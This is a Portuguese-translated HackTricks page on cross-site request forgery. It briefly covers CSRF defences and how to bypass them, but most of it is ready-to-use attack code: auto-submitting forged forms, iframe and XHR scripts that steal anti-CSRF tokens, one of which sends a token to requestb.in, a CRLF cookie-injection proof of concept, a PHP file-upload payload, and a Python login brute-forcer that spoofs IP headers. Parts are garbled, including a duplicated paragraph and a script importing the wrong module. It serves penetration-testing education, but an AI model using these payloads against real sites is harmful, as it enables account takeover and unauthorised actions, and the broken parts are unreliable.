33 KiB
CSRF (Cross Site Request Forgery)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.
Siga HackenProof para aprender mais sobre bugs web3
🐞 Leia tutoriais de bugs web3
🔔 Receba notificações sobre novos programas de recompensas por bugs
💬 Participe de discussões na comunidade
O que é CSRF?
Cross-site request forgery (também conhecido como CSRF) é uma vulnerabilidade de segurança na web que permite que um invasor induza usuários a executar ações que eles não pretendem executar.
Isso é feito fazendo um usuário logado na plataforma da vítima acessar um site controlado pelo atacante e a partir daí executar código JS malicioso, enviar formulários ou recuperar "imagens" para a conta da vítima.
Requisitos
Para ser capaz de explorar uma vulnerabilidade CSRF, você primeiro precisa encontrar uma ação relevante para explorar (alterar senha ou e-mail, fazer a vítima seguir você em uma rede social, dar mais privilégios...). A sessão deve depender apenas de cookies ou do cabeçalho de autenticação básica HTTP, nenhum outro cabeçalho pode ser usado para manipular a sessão. E finalmente, não deve haver parâmetros imprevisíveis na solicitação.
Várias contramedidas podem ser implementadas para evitar essa vulnerabilidade.
Defesas comuns
- Cookies SameSite: Se o cookie de sessão estiver usando essa flag, você pode não ser capaz de enviar o cookie de sites da web arbitrários.
- Compartilhamento de recursos entre origens: Dependendo do tipo de solicitação HTTP que você precisa executar para explorar a ação relevante, você pode levar em conta a política CORS do site da vítima. Observe que a política CORS não afetará se você apenas quiser enviar uma solicitação GET ou uma solicitação POST de um formulário e não precisar ler a resposta.
- Peça a senha do usuário para autorizar a ação.
- Resolva um captcha
- Leia os cabeçalhos Referer ou Origin. Se uma expressão regular for usada, ela poderá ser contornada, por exemplo, com:
- http://mal.net?orig=http://example.com (termina com a url)
- http://example.com.mal.net (começa com a url)
- Modifique o nome dos parâmetros da solicitação Post ou Get
- Use um token CSRF em cada sessão. Esse token deve ser enviado dentro da solicitação para confirmar a ação. Esse token pode ser protegido com CORS.
Mapa CSRF
Bypass de defesas
De POST para GET
Talvez o formulário que você deseja explorar esteja preparado para enviar uma solicitação POST com um token CSRF, mas você deve verificar se um GET também é válido e se, quando você envia uma solicitação GET, o token CSRF ainda está sendo validado.
Falta de token
Algumas aplicações validam corretamente o token quando ele está presente, mas ignoram a validação se o token for omitido.
Nessa situação, o invasor pode remover todo o parâmetro contendo o token (não apenas seu valor) para contornar a validação e realizar um ataque CSRF.
Token CSRF não está vinculado à sessão do usuário
Algumas aplicações não validam que o token pertence à mesma sessão do usuário que está fazendo a solicitação. Em vez disso, a aplicação mantém um pool global de tokens que emitiu e aceita qualquer token que apareça neste pool.
Nessa situação, o invasor pode fazer login na aplicação usando sua própria conta, obter um token válido e, em seguida, alimentar esse token para o usuário vítima em seu ataque CSRF.
Bypass de método
Se a solicitação estiver usando um método "estranho", verifique se a funcionalidade de substituição de método está funcionando.
Por exemplo, se estiver usando um método PUT, você pode tentar usar um método POST e enviar: https://example.com/my/dear/api/val/num?_method=PUT
Isso também pode funcionar enviando o parâmetro _method dentro de uma solicitação POST ou usando os cabeçalhos:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Bypass de token de cabeçalho personalizado
Se a solicitação estiver adicionando um cabeçalho personalizado com um token à solicitação como método de proteção CSRF, então:
- Teste a solicitação sem o Token Personalizado e também o cabeçalho.
- Teste a solicitação com exatamente o mesmo comprimento, mas com um token diferente.
Token CSRF é verificado por um cookie
Em uma variação adicional da vulnerabilidade anterior, algumas aplicações duplicam cada token em um cookie e um parâmetro de solicitação. Ou definem um cookie csrf e verificam no backend se o token csrf enviado é o relacionado com o cookie.
Quando a solicitação subsequente é validada, a aplicação simplesmente verifica se o token enviado no parâmetro da solicitação corresponde ao valor armazenado pelo cookie.
Nessa situação, o invasor pode novamente realizar um ataque CSRF se o site da web contiver alguma vulnerabilidade que permita que ele defina seu cookie CSRF para a vítima como um CRLF.
Nesse caso, você pode definir o cookie tentando carregar uma imagem falsa e, em seguida, lançar o ataque CSRF como neste exemplo:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
{% hint style="info" %} Observe que se o token csrf estiver relacionado ao cookie de sessão, esse ataque não funcionará porque você precisará definir a sessão da vítima e, portanto, estará atacando a si mesmo. {% endhint %}
Mudança de Content-Type
De acordo com isto, para evitar solicitações de pré-voo usando o método POST, esses são os valores permitidos para Content-Type:
application/x-www-form-urlencoded
multipart/form-data
text/plain
No entanto, observe que a lógica dos servidores pode variar dependendo do Content-Type usado, portanto, você deve tentar os valores mencionados e outros como application/json
,text/xml
, application/xml
.
Exemplo (de aqui) de envio de dados JSON como text/plain:
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
Bypass de requisição de pré-voo de aplicação/json
Como você já sabe, não é possível enviar uma solicitação POST com o Content-Type application/json
via formulário HTML e, se você tentar fazer isso via XMLHttpRequest
, uma solicitação de pré-voo é enviada primeiro.
No entanto, você pode tentar enviar os dados JSON usando os tipos de conteúdo text/plain
e application/x-www-form-urlencoded
apenas para verificar se o backend está usando os dados independentemente do Content-Type.
Você pode enviar um formulário usando Content-Type: text/plain
definindo enctype="text/plain"
Se o servidor estiver aceitando apenas o tipo de conteúdo "application/json", você pode enviar o tipo de conteúdo "text/plain; application/json" sem acionar uma solicitação de pré-voo.
Você também pode tentar burlar essa restrição usando um arquivo flash SWF. Para mais informações, leia este post.
Bypass de verificação de Referrer / Origin
Evite o cabeçalho Referrer
Algumas aplicações validam o cabeçalho Referer quando ele está presente em solicitações, mas ignoram a validação se o cabeçalho for omitido.
<meta name="referrer" content="never">
Burlas de Regexp
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
Para definir o nome de domínio do servidor na URL que o Referrer vai enviar dentro dos parâmetros, você pode fazer:
<html>
<!-- Referrer policy needed to send the qury parameter in the referrer -->
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="submit" value="Submit request" />
</form>
<script>
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
</script>
</body>
</html>
Siga HackenProof para aprender mais sobre bugs web3
🐞 Leia tutoriais sobre bugs web3
🔔 Receba notificações sobre novas recompensas por bugs
💬 Participe de discussões na comunidade
Exemplos de Exploração
Exfiltrando Token CSRF
Se um token CSRF está sendo usado como defesa, você pode tentar exfiltrá-lo abusando de uma vulnerabilidade XSS ou uma vulnerabilidade de Dangling Markup.
GET usando tags HTML
<img src="http://google.es?param=VALUE" style="display:none" />
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
Outras tags HTML5 que podem ser usadas para enviar automaticamente uma solicitação GET são:
Solicitação GET de formulário
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form method="GET" action="https://victim.net/email/change-email">
<input type="hidden" name="email" value="some@email.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Requisição POST de formulário
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form method="POST" action="https://victim.net/email/change-email" id="csrfform">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
<input type="submit" value="Submit request" />
<img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
</form>
<script>
document.forms[0].submit(); //Way 3 to autosubmit
</script>
</body>
</html>
Solicitação de POST de formulário através de iframe
<!--
The request is sent through the iframe withuot reloading the page
-->
<html>
<body>
<iframe style="display:none" name="csrfframe"></iframe>
<form method="POST" action="/change-email" id="csrfform" target="csrfframe">
<input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Requisição POST Ajax
An Ajax POST request can be used to perform CSRF attacks. The attacker can create a form with a hidden input field that contains the CSRF token of the victim's session. Then, using JavaScript, the attacker can submit the form using an Ajax POST request to the vulnerable endpoint.
Uma requisição POST Ajax pode ser usada para realizar ataques CSRF. O atacante pode criar um formulário com um campo de entrada oculto que contenha o token CSRF da sessão da vítima. Em seguida, usando JavaScript, o atacante pode enviar o formulário usando uma requisição POST Ajax para o endpoint vulnerável.
<script>
var xh;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>
<script>
//JQuery version
$.ajax({
type: "POST",
url: "https://google.com",
data: "param=value¶m2=value2"
})
</script>
Requisição POST multipart/form-data
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
Solicitação POST multipart/form-data v2
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
Solicitação POST de formulário de dentro de um iframe
<--! expl.html -->
<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>
<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
Roubar o Token CSRF e enviar uma requisição POST
Uma vez que o token CSRF é armazenado no navegador do usuário, um atacante pode tentar roubá-lo usando técnicas como XSS ou CSRF. Depois de obter o token, o atacante pode enviar uma requisição POST maliciosa para o servidor, que será autenticada pelo token CSRF roubado. Isso pode permitir que o atacante execute ações maliciosas em nome do usuário legítimo.
Para roubar o token CSRF, o atacante pode usar técnicas como a injeção de JavaScript malicioso em uma página vulnerável ou a criação de um formulário falso que envia o token para um servidor controlado pelo atacante. Depois de obter o token, o atacante pode usá-lo para enviar uma requisição POST maliciosa para o servidor.
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
Roubar o Token CSRF e enviar uma solicitação Post usando um iframe, um formulário e Ajax
Para realizar um ataque CSRF, é necessário obter o token CSRF válido do usuário alvo. Uma vez que o token CSRF é obtido, ele pode ser usado para enviar solicitações maliciosas em nome do usuário alvo.
Uma maneira de obter o token CSRF é usando um iframe para carregar a página de destino que contém o token. O token pode então ser extraído do código-fonte da página usando JavaScript e usado para enviar uma solicitação POST maliciosa.
Outra maneira de obter o token CSRF é usando um formulário oculto que é preenchido automaticamente com o token CSRF e enviado usando JavaScript.
Finalmente, o token CSRF também pode ser obtido usando uma solicitação AJAX para a página de destino que retorna o token. O token pode então ser usado para enviar uma solicitação POST maliciosa.
Em todos os casos, o objetivo é obter o token CSRF válido do usuário alvo e usá-lo para enviar solicitações maliciosas em nome do usuário.
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>
<script type="text/javascript">
function f1(){
x1=document.getElementById("i1");
x1d=(x1.contentWindow||x1.contentDocument);
t=x1d.document.getElementById("token").value;
document.getElementById("token").value=t;
document.getElementById("form1").submit();
}
</script>
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>
Roubar o Token CSRF e enviar uma solicitação POST usando um iframe e um formulário
Uma técnica comum de ataque CSRF é roubar o token CSRF de um usuário legítimo e usá-lo para enviar uma solicitação POST maliciosa. Isso pode ser feito usando um iframe e um formulário oculto.
O primeiro passo é obter o token CSRF do usuário legítimo. Isso pode ser feito usando um script malicioso que injeta um iframe em uma página legítima. O iframe aponta para a página que o atacante deseja atacar e inclui um formulário oculto que envia uma solicitação POST com o token CSRF roubado.
Quando o usuário legítimo visita a página legítima, o script malicioso é executado e o iframe é injetado na página. O formulário oculto é preenchido com os dados necessários para enviar a solicitação POST maliciosa, incluindo o token CSRF roubado. Quando o usuário envia o formulário, a solicitação POST é enviada para o servidor da página de destino, que acredita que a solicitação é legítima porque inclui o token CSRF correto.
Para se proteger contra esse tipo de ataque, os desenvolvedores devem garantir que seus aplicativos gerem tokens CSRF exclusivos para cada sessão do usuário e que esses tokens sejam incluídos em todas as solicitações POST. Além disso, os desenvolvedores devem garantir que seus aplicativos não permitam que solicitações POST sejam enviadas de origens não confiáveis.
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>
Roubar token e enviá-lo usando 2 iframes
Este método de ataque CSRF envolve a criação de dois iframes, um para enviar uma solicitação GET para obter o token de autenticação e outro para enviar a solicitação POST com o token roubado. O primeiro iframe é carregado com a URL da página que contém o token de autenticação e o segundo iframe é carregado com a URL da página que contém o formulário que será enviado com o token roubado.
O código HTML para criar os dois iframes é o seguinte:
<iframe id="get-token" src="https://example.com/get-token"></iframe>
<iframe id="send-form" src="https://example.com/send-form"></iframe>
O JavaScript para roubar o token e enviá-lo usando os dois iframes é o seguinte:
var getTokenFrame = document.getElementById('get-token');
var sendFormFrame = document.getElementById('send-form');
getTokenFrame.onload = function() {
var token = getTokenFrame.contentWindow.document.body.innerHTML;
sendFormFrame.contentWindow.postMessage(token, 'https://example.com');
};
window.addEventListener('message', function(event) {
if (event.origin === 'https://example.com' && event.source === sendFormFrame.contentWindow) {
var form = sendFormFrame.contentWindow.document.getElementById('form');
form.submit();
}
});
Este código carrega o primeiro iframe com a URL https://example.com/get-token
, que deve retornar o token de autenticação em seu corpo HTML. Quando o iframe é carregado, o código JavaScript dentro do onload
do iframe obtém o token do corpo HTML do iframe e o envia para o segundo iframe usando postMessage
. O segundo iframe é carregado com a URL https://example.com/send-form
, que contém um formulário que será enviado com o token roubado. Quando o segundo iframe recebe o token usando postMessage
, o código JavaScript dentro do window.addEventListener
do documento envia o formulário com o token roubado.
<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTSteal CSRF token com Ajax e enviar um post com um formulário
Para realizar um ataque CSRF, é necessário obter o token CSRF válido do usuário alvo. Uma maneira de fazer isso é usando uma solicitação Ajax para obter o token e, em seguida, enviar um POST com um formulário contendo o token. O código abaixo mostra como fazer isso:
var xhr = new XMLHttpRequest();
xhr.open('GET', '/path/to/endpoint/that/returns/csrf/token', true);
xhr.onload = function () {
var csrfToken = xhr.responseText;
var form = document.createElement('form');
form.setAttribute('method', 'POST');
form.setAttribute('action', '/path/to/endpoint/that/accepts/post/requests');
var hiddenField = document.createElement('input');
hiddenField.setAttribute('type', 'hidden');
hiddenField.setAttribute('name', 'csrf_token');
hiddenField.setAttribute('value', csrfToken);
form.appendChild(hiddenField);
document.body.appendChild(form);
form.submit();
};
xhr.send();
Este código envia uma solicitação GET para um endpoint que retorna o token CSRF válido. Em seguida, ele cria um formulário com um campo oculto contendo o token e envia um POST para o endpoint que aceita solicitações POST. O formulário é adicionado ao corpo do documento e enviado automaticamente.
Este ataque pode ser evitado usando tokens CSRF que expiram após um determinado período de tempo ou usando cookies HTTPOnly para armazenar o token CSRF.
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
CSRF com Socket.IO
Socket.IO é uma biblioteca JavaScript para aplicativos web em tempo real. Ele permite a comunicação bidirecional em tempo real entre o cliente e o servidor. No entanto, o Socket.IO pode ser vulnerável a ataques CSRF.
O Socket.IO usa cookies para autenticar usuários e manter a sessão do usuário. Se um invasor conseguir obter o cookie de autenticação de um usuário, ele poderá enviar solicitações maliciosas em nome do usuário autenticado.
Para explorar essa vulnerabilidade, o invasor pode criar um site malicioso que envia solicitações para o servidor Socket.IO usando o cookie de autenticação do usuário. Quando o usuário visita o site malicioso, as solicitações são enviadas automaticamente para o servidor Socket.IO sem o conhecimento do usuário.
Para evitar esse tipo de ataque, é importante usar tokens CSRF para proteger as solicitações do Socket.IO. O token CSRF é um valor aleatório que é gerado pelo servidor e incluído em cada solicitação. O cliente deve enviar o token CSRF junto com a solicitação e o servidor verifica se o token é válido antes de processar a solicitação.
Para implementar a proteção CSRF no Socket.IO, você pode usar a biblioteca socketio-csrf
. Essa biblioteca adiciona suporte para tokens CSRF ao Socket.IO e é fácil de usar. Basta adicionar o middleware csrf
ao seu aplicativo Socket.IO e a biblioteca cuidará do resto.
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
CSRF Login Brute Force
O código pode ser usado para forçar a entrada em um formulário de login usando um token CSRF (também está usando o cabeçalho X-Forwarded-For para tentar contornar uma possível lista negra de IP):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Ferramentas
Referências
- https://portswigger.net/web-security/csrf
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
Siga HackenProof para aprender mais sobre bugs web3
🐞 Leia tutoriais sobre bugs web3
🔔 Receba notificações sobre novas recompensas por bugs
💬 Participe de discussões na comunidade
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira produtos oficiais PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.